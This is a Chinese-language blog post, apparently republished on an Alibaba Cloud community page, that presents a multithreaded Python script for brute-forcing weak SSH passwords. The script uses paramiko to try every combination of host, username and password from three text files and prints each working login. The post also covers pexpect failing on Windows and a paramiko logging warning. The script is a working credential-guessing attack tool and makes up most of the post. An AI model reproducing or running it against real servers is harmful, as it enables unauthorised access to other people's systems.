python ssh弱口令爆破多線程指令碼及遇到的一些錯誤與問題,pythonssh

來源:互聯網
上載者:User

python ssh弱口令爆破多線程指令碼及遇到的一些錯誤與問題,pythonssh

練習寫了個SSH弱口令爆破多線程指令碼,遇到的問題

1、一開始想import pexpect 中的pxssh 然而卻一直該有錯誤,

ImportError: cannot import name spawn

google了下問題都說的很模糊也不清楚。有的說是pexpect模組沒安裝好,有的說是python import的問題,因為在lib中已經有了spawn模組,與pexpect模組中的spawn重名了,所以報錯。但也都沒說清楚該這麼弄。最後在here這裡看到了問題原因,原來是pexpect根本不支援windows,我們可以用paramiko模組來解決這個問題。

2、寫完代碼後,使用多線程後,雖然不報錯,但結果會有警告,

提示:No handlers could be found for logger “paramiko.transport”

 

 

 

我在這個網站this_web找到解決方案。只要加入一行代碼就行了。

paramiko.util.log_to_file("filename.log")

因為我們沒有配置日誌,所以根應用程式和模組不知道在哪裡發送日誌。所以只要將所有的串連都記錄到檔案中就可以啦。

代碼醜將就看看。

 1 #!usr/bin/env python 2 #!coding=utf-8 3  4 __author__='zhengjim' 5  6 import paramiko 7 from threading import Thread 8  9 def connect(host,user,pwd):10     try:11         ssh=paramiko.SSHClient()12         ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())13         ssh.connect(hostname=host,username=user,password=pwd,timeout=5)14         ssh.close()15         print '破解成功!使用者名稱:'+ user +',密碼:' + pwd + ',主機IP:'+ host16     except:17         pass18 paramiko.util.log_to_file("filename.log") 19 host=open('host.txt')20 for line in host:21     host=line.strip('\n')22     print '開始爆破主機:'+host23     user=open('user.txt')24     for line in user:25         user=line.strip('\n')26         pwd =open('pwd.txt')27         for line in pwd:28             pwd = line.strip('\n')29             t=Thread(target=connect,args=(host,user,pwd))30             t.start()

目錄下需要host.txt,user.txt,pwd.txt三個檔案

還有個問題就是,因為使用多線程,並且對多線程不太瞭解,所以程式不能在匹配到正確帳號密碼後跳出迴圈。望大牛可以教教我。~

 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.